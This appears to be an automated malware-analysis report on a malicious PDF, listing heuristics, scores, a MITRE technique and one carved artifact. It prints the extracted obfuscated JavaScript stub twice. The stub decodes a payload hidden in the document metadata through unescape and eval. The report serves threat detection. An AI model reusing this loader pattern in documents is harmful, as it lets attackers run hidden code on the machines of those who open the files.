MALICIOUS
148
Risk Score
Malware Insights
MITRE ATT&CK
T1059.001 PowerShell
The PDF file contains embedded JavaScript, indicated by the PDF_JAVASCRIPT and PDF_JS heuristics. A high-severity PDF_EVAL heuristic firing suggests the use of eval(), a common technique for obfuscating malicious JavaScript. The extracted JavaScript object, javascript_obj0006_000.js, likely contains code to download and execute a secondary payload. The authoring application being Notepad suggests manual manipulation of the PDF structure.
Machine Learning
- Nyx PDF Classifier malicious score 1.0000
Heuristics 4
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JavaScript action low 2 related findings PDF_JAVASCRIPTPDF contains a /JavaScript action. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
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PDF JavaScript exploit cluster critical PDF_JS_EXPLOIT_CLUSTERPDF combines an executable JavaScript/action surface with exploit staging indicators such as eval/unescape/fromCharCode, XFA script content, or a related CVE pattern. Benign form JavaScript remains low-severity, but this correlated cluster is high-confidence malicious behavior.Matched line in script
bdq2=24;if(app)bdq2='';D311=this;I8o=unescape;m0wZ=D311.info;bdq2=I8o('%'+bdq2);fxfa9=m0wZ.Trailer.replace(/([A-Z])/g,bdq2);eval(I8o(fxfa9)) -
Embedded JS stream low PDF_JSPDF references a /JS stream. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
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Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGEOne or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
Extracted artifacts 1
Files carved from inside the sample during analysis.
| Filename | Kind | Source | Size |
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javascript_obj0006_000.js |
pdf-javascript-stream | PDF /JS object 6 at offset 0xFC4 | 140 bytes |
SHA-256: 76985b8ac5ec501b9956e6794029585d20615ca20fcdf38ddbe46863f5b5b6cd |
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Detection
ClamAV:
No threats found
Obfuscation or payload:
likely
Carved artifact contains 1 eval/decoder/string-building token(s).
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Preview scriptFirst 1,000 lines of the extracted script
bdq2=24;if(app)bdq2='';D311=this;I8o=unescape;m0wZ=D311.info;bdq2=I8o('%'+bdq2);fxfa9=m0wZ.Trailer.replace(/([A-Z])/g,bdq2);eval(I8o(fxfa9))
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